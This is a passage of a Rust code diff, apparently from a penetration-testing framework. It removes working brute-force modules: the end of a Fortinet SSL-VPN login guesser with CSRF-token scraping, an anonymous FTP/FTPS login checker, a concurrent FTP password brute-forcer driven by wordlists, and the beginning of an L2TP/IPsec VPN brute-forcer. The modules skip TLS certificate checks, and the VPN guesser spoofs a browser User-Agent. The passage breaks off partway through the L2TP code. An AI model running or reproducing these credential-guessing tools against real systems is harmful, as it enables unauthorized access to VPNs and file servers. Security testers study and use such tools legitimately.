eprintln!("[!] Error writing to result file: {}", filename.display());
break;
}
}
println!("[+] Results saved to '{}'", filename.display());
}
Err(e) => {
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
}
}
}
}
Ok(())
}
async fn try_fortinet_login(
base_url: &str,
username: &str,
password: &str,
realm: &Option<String>,
trusted_cert: &Option<String>,
timeout_duration: Duration
) -> Result<bool> {
let mut client_builder = ClientBuilder::new()
.cookie_store(true)
.redirect(Policy::none())
.timeout(timeout_duration);
if trusted_cert.is_some() {
client_builder = client_builder
.danger_accept_invalid_certs(false)
.danger_accept_invalid_hostnames(false);
} else {
client_builder = client_builder
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true);
}
let client = client_builder
.build()
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
// Get login page
let login_page_url = format!("{}/remote/login", base_url);
let login_page_response = match timeout(timeout_duration, client.get(&login_page_url).send()).await {
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
Err(_) => return Err(anyhow!("Timeout getting login page")),
};
let login_page_body = match timeout(timeout_duration, login_page_response.text()).await {
Ok(Ok(body)) => body,
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading login page")),
};
let csrf_token = extract_csrf_token(&login_page_body);
// Prepare login form data
let mut form_data = std::collections::HashMap::new();
form_data.insert("username", username.to_string());
form_data.insert("password", password.to_string());
form_data.insert("ajax", "1".to_string());
if let Some(ref r) = realm {
if !r.is_empty() {
form_data.insert("realm", r.clone());
}
}
if let Some(ref token) = csrf_token {
form_data.insert("magic", token.clone());
}
// Send login request
let login_url = format!("{}/remote/logincheck", base_url);
let login_response = match timeout(
timeout_duration,
client
.post(&login_url)
.form(&form_data)
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36")
.header("Referer", &login_page_url)
.send()
).await {
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)),
Err(_) => return Err(anyhow!("Timeout during login request")),
};
let status = login_response.status();
let location_header = login_response.headers().get("Location")
.and_then(|h| h.to_str().ok())
.map(|s| s.to_string());
let cookies: Vec<String> = login_response.cookies()
.map(|c| c.name().to_string())
.collect();
let has_auth_cookie = cookies.iter().any(|name| {
let lower = name.to_lowercase();
lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet")
});
let response_body = match timeout(timeout_duration, login_response.text()).await {
Ok(Ok(body)) => body,
Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading login response")),
};
// Check for success indicators
if response_body.contains("redir")
|| response_body.contains("\"1\"")
|| response_body.contains("success")
|| response_body.contains("/remote/index")
|| response_body.contains("portal")
{
return Ok(true);
}
// Check for failure indicators
if response_body.contains("error")
|| response_body.contains("invalid")
|| response_body.contains("failed")
|| response_body.contains("incorrect")
|| response_body.contains("\"0\"")
{
return Ok(false);
}
// Check status and cookies
if status.is_success() && has_auth_cookie {
return Ok(true);
}
// Check redirect location
if status.as_u16() == 302 {
if let Some(ref loc_str) = location_header {
if loc_str.contains("/remote/index")
|| loc_str.contains("portal")
|| loc_str.contains("index")
{
return Ok(true);
}
}
}
Ok(false)
}
/// Extracts CSRF token from HTML response
fn extract_csrf_token(html: &str) -> Option<String> {
let patterns = vec![
r#"name="magic"\s+value="([^"]+)""#,
r#"name="csrf_token"\s+value="([^"]+)""#,
r#""magic"\s*:\s*"([^"]+)""#,
r#"magic=([^&\s"]+)"#,
];
for pattern in patterns {
if let Ok(re) = Regex::new(pattern) {
if let Some(captures) = re.captures(html) {
if let Some(token) = captures.get(1) {
return Some(token.as_str().to_string());
}
}
}
}
None
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required. Please provide a value.".yellow());
}
}
}
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default_val.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn prompt_optional(msg: &str) -> Result<Option<String>> {
print!("{}", format!("{} (optional, press Enter to skip): ", msg).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
None
} else {
Some(trimmed.to_string())
})
}
/// Builds Fortinet VPN URL with proper IPv6 handling
fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
let clean_target = target.trim_matches(|c| c == '[' || c == ']');
let is_ipv6 = clean_target.contains(':') && !clean_target.contains('.');
let url = if is_ipv6 {
format!("https://[{}]:{}", clean_target, port)
} else {
format!("https://{}:{}", clean_target, port)
};
Ok(url)
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path = Path::new(input_path_str);
let filename_component = path
.file_name()
.map(|os_str| os_str.to_string_lossy())
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
let final_name = if filename_component.is_empty()
|| filename_component == "."
|| filename_component == ".."
|| filename_component.contains('/')
|| filename_component.contains('\\')
{
"fortinet_results.txt"
} else {
filename_component.as_ref()
};
PathBuf::from(format!("./{}", final_name))
}
@@ -1,88 +0,0 @@
use anyhow::{anyhow, Result};
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
use suppaftp::async_native_tls::TlsConnector;
use tokio::time::{timeout, Duration};
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
}
/// Anonymous FTP/FTPS login test with IPv6 support
pub async fn run(target: &str) -> Result<()> {
let addr = format_addr(target, 21);
let domain = target
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(target);
println!("[*] Connecting to FTP service on {}...", addr);
// 1️⃣ Try plain FTP first
match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
Ok(Ok(mut ftp)) => {
let result = ftp.login("anonymous", "anonymous").await;
if let Ok(_) = result {
println!("[+] Anonymous login successful (FTP)");
let _ = ftp.quit().await;
return Ok(());
} else if let Err(e) = result {
if e.to_string().contains("530") {
println!("[-] Anonymous login rejected (FTP)");
return Ok(());
} else if e.to_string().contains("550 SSL") {
println!("[*] FTP server requires TLS — upgrading to FTPS...");
} else {
return Err(anyhow!("FTP error: {}", e));
}
}
}
Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
Err(_) => println!("[-] FTP connection timed out"),
}
// 2️⃣ Fallback to FTPS
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
ftps = ftps
.into_secure(connector, domain)
.await
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
match ftps.login("anonymous", "anonymous").await {
Ok(_) => {
println!("[+] Anonymous login successful (FTPS)");
let _ = ftps.quit().await;
}
Err(e) if e.to_string().contains("530") => {
println!("[-] Anonymous login rejected (FTPS)");
}
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
}
Ok(())
}
-381
View File
@@ -1,381 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
use suppaftp::async_native_tls::TlsConnector;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::PathBuf,
sync::Arc,
};
use std::path::Path;
use std::sync::atomic::{AtomicBool, Ordering};
use tokio::{sync::{Mutex, Semaphore}, time::{sleep, Duration}};
use futures::stream::{FuturesUnordered, StreamExt};
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean_target = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean_target.contains(':') {
format!("[{}]:{}", clean_target, port)
} else {
format!("{}:{}", clean_target, port)
}
}
}
pub async fn run(target: &str) -> Result<()> {
println!("=== FTP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("FTP Port", "21")?;
if let Ok(p) = input.parse() { break p }
println!("Invalid port. Try again.");
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "500")?;
if let Ok(n) = input.parse::<usize>() {
if n > 0 { break n }
}
println!("Invalid number. Try again.");
};
// Create a semaphore to limit concurrent network operations
let semaphore = Arc::new(Semaphore::new(concurrency));
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ftp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
let addr = format_addr(target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let passes = load_lines(&passwords_file)?;
if passes.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let mut tasks = FuturesUnordered::new();
if combo_mode {
for user in &users {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
for pass in &passes {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ftp_login(&addr_clone, &user_clone, &pass_clone, verbose_flag).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
drop(permit);
}));
}
}
} else {
if !users.is_empty() {
for (i, pass) in passes.iter().enumerate() {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
let addr_clone = addr.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ftp_login(&addr_clone, &user, &pass_clone, verbose_flag).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
if stop_on_success_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
drop(permit);
}));
}
}
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
}
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let file_path = get_filename_in_current_dir(&path);
match File::create(&file_path) {
Ok(mut file) => {
for (host, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
eprintln!("[!] Error writing to result file '{}'", file_path.display());
break;
}
}
println!("[+] Results saved to '{}'", file_path.display());
}
Err(e) => {
eprintln!("[!] Could not create or write to result file '{}': {}", file_path.display(), e);
}
}
}
}
Ok(())
}
async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
// Attempt 1: Plain FTP
match AsyncFtpStream::connect(addr).await {
Ok(mut ftp) => {
match ftp.login(user, pass).await {
Ok(_) => {
let _ = ftp.quit().await;
return Ok(true);
}
Err(e) => {
let msg = e.to_string();
if msg.contains("530") {
return Ok(false);
} else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr);
} else if msg.contains("421") {
println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
if verbose {
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
return Err(anyhow!("FTP login error: {}", msg));
}
}
}
}
Err(e) => {
let msg = e.to_string();
if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr);
} else if msg.contains("421") {
println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
if verbose {
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
return Err(anyhow!("FTP connection error: {}", msg));
}
}
}
// 2️⃣ Only if needed, try FTPS
if verbose {
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
}
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
.await
.map_err(|e| {
if verbose {
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
anyhow!("FTPS base connect failed: {}", e)
})?;
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
let domain = addr
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(addr);
ftp_tls = ftp_tls
.into_secure(connector, domain)
.await
.map_err(|e| {
if verbose {
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
anyhow!("TLS upgrade failed: {}", e)
})?;
match ftp_tls.login(user, pass).await {
Ok(_) => {
let _ = ftp_tls.quit().await;
Ok(true)
}
Err(e) => {
let msg = e.to_string();
if msg.contains("530") {
Ok(false)
} else {
if verbose {
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
Err(anyhow!("FTPS error: {}", msg))
}
}
}
}
// === Helpers === (prompt_required, prompt_default, prompt_yes_no, load_lines, log, get_filename_in_current_dir remain unchanged)
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("{}", "This field is required.".yellow());
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
match input.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref()).map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
Path::new(input)
.file_name()
.map(|name_os_str| PathBuf::from(format!("./{}", name_os_str.to_string_lossy())))
.unwrap_or_else(|| PathBuf::from(input))
}
@@ -1,673 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use regex::Regex;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
};
use tokio::{
process::Command,
sync::{Mutex, Semaphore},
time::{sleep, Duration, timeout},
};
pub async fn run(target: &str) -> Result<()> {
println!("=== L2TP/IPsec VPN Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("L2TP/IPsec Port (IKE)", "500")?;
match input.trim().parse::<u16>() {
Ok(p) if p > 0 => break p,
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
}
};
let usernames_file_path = loop {
let input = prompt_required("Username wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let passwords_file_path = loop {
let input = prompt_required("Password wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
// Optional: Pre-shared key (PSK) for IPsec phase
let psk = prompt_optional("IPsec Pre-shared Key (PSK) - optional, press Enter to skip")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "5")?;
match input.trim().parse::<usize>() {
Ok(n) if n > 0 && n <= 10000 => break n,
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
}
};
let timeout_secs: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "15")?;
match input.trim().parse::<u64>() {
Ok(n) if n > 0 && n <= 300 => break n,
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file name", "l2tp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let addr = normalize_target(target, port)?;
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
println!("\n[*] Starting brute-force on {}", addr);
println!("[*] Timeout: {} seconds", timeout_secs);
if psk.is_some() {
println!("[*] Using IPsec PSK authentication");
} else {
println!("[*] No PSK specified - will attempt without PSK");
}
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} usernames", users.len());
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} passwords", passwords.len());
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
let timeout_duration = Duration::from_secs(timeout_secs);
if combo_mode {
// Try every password with every user
for user in &users {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
for pass in &passwords {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let psk_clone = psk.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let semaphore_clone = Arc::clone(&semaphore);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
match try_l2tp_login(&addr_clone, &user_clone, &pass_clone, &psk_clone, timeout_duration).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success_flag {
stop_signal_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
drop(permit);
sleep(Duration::from_millis(100)).await;
}));
}
}
} else {
// Try passwords sequentially, cycling through users
for (i, pass) in passwords.iter().enumerate() {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
let addr_clone = addr.clone();
let pass_clone = pass.clone();
let psk_clone = psk.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let semaphore_clone = Arc::clone(&semaphore);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
match try_l2tp_login(&addr_clone, &user, &pass_clone, &psk_clone, timeout_duration).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
if stop_on_success_flag {
stop_signal_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
drop(permit);
sleep(Duration::from_millis(100)).await;
}));
// Limit concurrent tasks
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
}
// Wait for remaining tasks
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials found:");
for (host_addr, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host_addr, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
match File::create(&filename) {
Ok(mut file) => {
for (host_addr, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
eprintln!("[!] Error writing to result file: {}", filename.display());
break;
}
}
println!("[+] Results saved to '{}'", filename.display());
}
Err(e) => {
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
}
}
}
}
Ok(())
}
/// Attempts L2TP/IPsec VPN login
///
/// Note: L2TP/IPsec authentication is complex and requires:
/// - Root privileges for IPsec operations
/// - Proper configuration files (/etc/ipsec.conf, /etc/ipsec.secrets, etc.)
/// - IPsec phase (machine authentication with PSK/certificates)
/// - L2TP phase (user authentication with username/password)
///
/// This implementation provides the framework. A full implementation would need to:
/// - Create temporary configuration files dynamically
/// - Use ipsec/strongswan commands to establish IPsec tunnel
/// - Use xl2tpd or pppd to establish L2TP tunnel within IPsec
/// - Parse connection status and authentication responses
async fn try_l2tp_login(addr: &str, username: &str, password: &str, psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
// Try using strongswan (ipsec/strongswan) if available
let strongswan_check = Command::new("which")
.arg("ipsec")
.output()
.await;
if strongswan_check.is_ok() && strongswan_check.unwrap().status.success() {
return try_l2tp_strongswan(addr, username, password, psk, timeout_duration).await;
}
// Fallback: try xl2tpd if available
let xl2tpd_check = Command::new("which")
.arg("xl2tpd")
.output()
.await;
if xl2tpd_check.is_ok() && xl2tpd_check.unwrap().status.success() {
return try_l2tp_xl2tpd(addr, username, password, psk, timeout_duration).await;
}
// Try using system L2TP tools (Windows: rasdial, Linux: various)
#[cfg(target_os = "linux")]
{
// Try using pppd with l2tp plugin if available
let pppd_check = Command::new("which")
.arg("pppd")
.output()
.await;
if pppd_check.is_ok() && pppd_check.unwrap().status.success() {
return try_l2tp_pppd(addr, username, password, psk, timeout_duration).await;
}
}
Err(anyhow!("No L2TP client tools found. Please install strongswan, xl2tpd, or pppd with L2TP support."))
}
async fn try_l2tp_strongswan(addr: &str, username: &str, password: &str, psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
// Extract IP address from addr (remove port if present)
let server_ip = addr.split(':').next().unwrap_or(addr);
// Create temporary directory for config files
let temp_dir = std::env::temp_dir();
let conn_name = format!("l2tp_brute_{}", std::process::id());
let ipsec_conf_path = temp_dir.join(format!("{}.conf", conn_name));
let ipsec_secrets_path = temp_dir.join(format!("{}.secrets", conn_name));
// Build IPsec configuration
let psk_value = psk.as_deref().unwrap_or("default");
let ipsec_conf = format!(
r#"conn {}
type=transport
authby=secret
left=%defaultroute
right={}
rightprotoport=17/1701
auto=start
keyexchange=ikev1
ike=aes128-sha1-modp1024
esp=aes128-sha1
"#,
conn_name, server_ip
);
// Build secrets file
let ipsec_secrets = format!(
r#"{} : PSK "{}"
{} : XAUTH "{}"
"#,
server_ip, psk_value, username, password
);
// Write config files
std::fs::write(&ipsec_conf_path, ipsec_conf)
.map_err(|e| anyhow!("Failed to write IPsec config: {}", e))?;
std::fs::write(&ipsec_secrets_path, ipsec_secrets)
.map_err(|e| anyhow!("Failed to write IPsec secrets: {}", e))?;
// Set permissions on secrets file (should be 600)
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let mut perms = std::fs::metadata(&ipsec_secrets_path)?.permissions();
perms.set_mode(0o600);
std::fs::set_permissions(&ipsec_secrets_path, perms)?;
}
